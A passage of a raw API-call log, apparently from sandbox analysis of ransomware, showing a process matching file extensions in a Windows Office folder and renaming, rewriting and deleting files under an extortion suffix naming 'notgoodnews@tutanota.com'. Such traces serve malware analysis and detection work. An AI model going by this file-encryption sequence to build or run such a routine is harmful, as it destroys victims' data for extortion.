(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0085.503] lstrlenW (lpString=".zip") returned 4 [0085.503] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.503] lstrlenW (lpString=".rar") returned 4 [0085.503] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.503] lstrlenW (lpString=".bz2") returned 4 [0085.503] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.503] lstrlenW (lpString=".7z") returned 3 [0085.503] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0085.503] lstrlenW (lpString=".dbf") returned 4 [0085.503] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0085.503] lstrlenW (lpString=".1cd") returned 4 [0085.503] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0085.503] lstrlenW (lpString=".jpg") returned 4 [0085.503] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.504] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0085.504] lstrlenW (lpString="mso40uires.dll") returned 14 [0085.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0085.504] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3177152) returned 1 [0085.504] CloseHandle (hObject=0x398) returned 1 [0085.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0085.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0085.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0085.506] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[notgoodnews@tutanota.com].news"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1 [0085.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0085.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0085.506] lstrlenW (lpString=".doc") returned 4 [0085.506] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.506] lstrlenW (lpString=".docx") returned 5 [0085.506] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.506] lstrlenW (lpString=".pdf") returned 4 [0085.506] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.506] lstrlenW (lpString=".xls") returned 4 [0085.506] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.506] lstrlenW (lpString=".xlsx") returned 5 [0085.506] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0085.506] lstrlenW (lpString=".ppt") returned 4 [0085.506] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0085.506] lstrlenW (lpString=".zip") returned 4 [0085.506] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.506] lstrlenW (lpString=".rar") returned 4 [0085.507] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.507] lstrlenW (lpString=".bz2") returned 4 [0085.507] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.507] lstrlenW (lpString=".7z") returned 3 [0085.507] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0085.507] lstrlenW (lpString=".dbf") returned 4 [0085.507] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0085.507] lstrlenW (lpString=".1cd") returned 4 [0085.507] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0085.507] lstrlenW (lpString=".jpg") returned 4 [0085.507] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0085.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0085.507] lstrlenW (lpString=".doc") returned 4 [0085.507] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.507] lstrlenW (lpString=".docx") returned 5 [0085.507] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.507] lstrlenW (lpString=".pdf") returned 4 [0085.507] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.507] lstrlenW (lpString=".xls") returned 4 [0085.507] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.507] lstrlenW (lpString=".xlsx") returned 5 [0085.507] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0085.507] lstrlenW (lpString=".ppt") returned 4 [0085.507] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0085.507] lstrlenW (lpString=".zip") returned 4 [0085.507] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.507] lstrlenW (lpString=".rar") returned 4 [0085.508] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.508] lstrlenW (lpString=".bz2") returned 4 [0085.508] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.508] lstrlenW (lpString=".7z") returned 3 [0085.508] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0085.508] lstrlenW (lpString=".dbf") returned 4 [0085.508] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0085.508] lstrlenW (lpString=".1cd") returned 4 [0085.508] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0085.508] lstrlenW (lpString=".jpg") returned 4 [0085.508] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.508] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0085.508] lstrlenW (lpString="mso40uiwin32client.dll") returned 22 [0085.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0085.508] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=9330784) returned 1 [0085.508] CloseHandle (hObject=0x398) returned 1 [0085.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20 [0085.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.509] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0085.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0085.509] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[notgoodnews@tutanota.com].news"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1 [0085.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0085.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0085.510] lstrlenW (lpString=".doc") returned 4 [0085.510] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.510] lstrlenW (lpString=".docx") returned 5 [0085.510] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0085.510] lstrlenW (lpString=".pdf") returned 4 [0085.510] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.510] lstrlenW (lpString=".xls") returned 4 [0085.510] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.510] lstrlenW (lpString=".xlsx") returned 5 [0085.510] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0085.510] lstrlenW (lpString=".ppt") returned 4 [0085.510] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0085.510] lstrlenW (lpString=".zip") returned 4 [0085.510] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.510] lstrlenW (lpString=".rar") returned 4 [0085.511] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.511] lstrlenW (lpString=".bz2") returned 4 [0085.511] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.511] lstrlenW (lpString=".7z") returned 3 [0085.511] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0085.511] lstrlenW (lpString=".dbf") returned 4 [0085.511] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0085.511] lstrlenW (lpString=".1cd") returned 4 [0085.511] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0085.511] lstrlenW (lpString=".jpg") returned 4 [0085.511] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0085.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0085.511] lstrlenW (lpString=".doc") returned 4 [0085.511] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.511] lstrlenW (lpString=".docx") returned 5 [0085.511] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0085.511] lstrlenW (lpString=".pdf") returned 4 [0085.511] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.511] lstrlenW (lpString=".xls") returned 4 [0085.511] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.511] lstrlenW (lpString=".xlsx") returned 5 [0085.511] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0085.511] lstrlenW (lpString=".ppt") returned 4 [0085.511] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0085.511] lstrlenW (lpString=".zip") returned 4 [0085.511] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.511] lstrlenW (lpString=".rar") returned 4 [0085.512] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.512] lstrlenW (lpString=".bz2") returned 4 [0085.512] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.512] lstrlenW (lpString=".7z") returned 3 [0085.512] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0085.512] lstrlenW (lpString=".dbf") returned 4 [0085.512] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0085.512] lstrlenW (lpString=".1cd") returned 4 [0085.512] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0085.512] lstrlenW (lpString=".jpg") returned 4 [0085.512] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.512] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0085.512] lstrlenW (lpString="msointl30.en-us.dll") returned 19 [0085.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0085.512] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=61024) returned 1 [0085.512] CloseHandle (hObject=0x398) returned 1 [0085.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0085.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0085.513] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.513] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0085.513] GetLastError () returned 0x0 [0085.513] ReadFile (in: hFile=0x398, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0xee60, lpOverlapped=0x0) returned 1 [0085.516] WriteFile (in: hFile=0x384, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xee70, lpOverlapped=0x0) returned 1 [0085.517] ReadFile (in: hFile=0x398, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.517] WriteFile (in: hFile=0x384, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xfa, lpOverlapped=0x0) returned 1 [0085.518] SetEndOfFile (hFile=0x384) returned 1 [0085.518] CloseHandle (hObject=0x384) returned 1 [0085.518] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.518] SetEndOfFile (hFile=0x398) returned 1 [0085.519] CloseHandle (hObject=0x398) returned 1 [0085.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0085.519] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1 [0085.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0085.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0085.520] lstrlenW (lpString=".doc") returned 4 [0085.520] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.520] lstrlenW (lpString=".docx") returned 5 [0085.520] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.520] lstrlenW (lpString=".pdf") returned 4 [0085.520] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.520] lstrlenW (lpString=".xls") returned 4 [0085.520] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.520] lstrlenW (lpString=".xlsx") returned 5 [0085.520] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0085.520] lstrlenW (lpString=".ppt") returned 4 [0085.523] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0085.523] lstrlenW (lpString=".zip") returned 4 [0085.523] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.523] lstrlenW (lpString=".rar") returned 4 [0085.523] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.523] lstrlenW (lpString=".bz2") returned 4 [0085.523] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.523] lstrlenW (lpString=".7z") returned 3 [0085.523] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0085.523] lstrlenW (lpString=".dbf") returned 4 [0085.523] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0085.523] lstrlenW (lpString=".1cd") returned 4 [0085.523] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0085.523] lstrlenW (lpString=".jpg") returned 4 [0085.523] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0085.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0085.523] lstrlenW (lpString=".doc") returned 4 [0085.523] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.524] lstrlenW (lpString=".docx") returned 5 [0085.524] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.524] lstrlenW (lpString=".pdf") returned 4 [0085.524] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.524] lstrlenW (lpString=".xls") returned 4 [0085.524] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.524] lstrlenW (lpString=".xlsx") returned 5 [0085.524] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0085.524] lstrlenW (lpString=".ppt") returned 4 [0085.524] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0085.524] lstrlenW (lpString=".zip") returned 4 [0085.524] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.524] lstrlenW (lpString=".rar") returned 4 [0085.524] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.524] lstrlenW (lpString=".bz2") returned 4 [0085.524] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.524] lstrlenW (lpString=".7z") returned 3 [0085.524] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0085.524] lstrlenW (lpString=".dbf") returned 4 [0085.524] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0085.524] lstrlenW (lpString=".1cd") returned 4 [0085.524] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0085.524] lstrlenW (lpString=".jpg") returned 4 [0085.524] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.524] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0085.524] lstrlenW (lpString="msvcp120.dll") returned 12 [0085.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0085.525] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=660136) returned 1 [0085.525] CloseHandle (hObject=0x398) returned 1 [0085.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0085.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0085.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0085.525] lstrlenW (lpString=".doc") returned 4 [0085.525] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.525] lstrlenW (lpString=".docx") returned 5 [0085.525] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0085.525] lstrlenW (lpString=".pdf") returned 4 [0085.525] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.526] lstrlenW (lpString=".xls") returned 4 [0085.526] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.526] lstrlenW (lpString=".xlsx") returned 5 [0085.526] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0085.526] lstrlenW (lpString=".ppt") returned 4 [0085.526] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 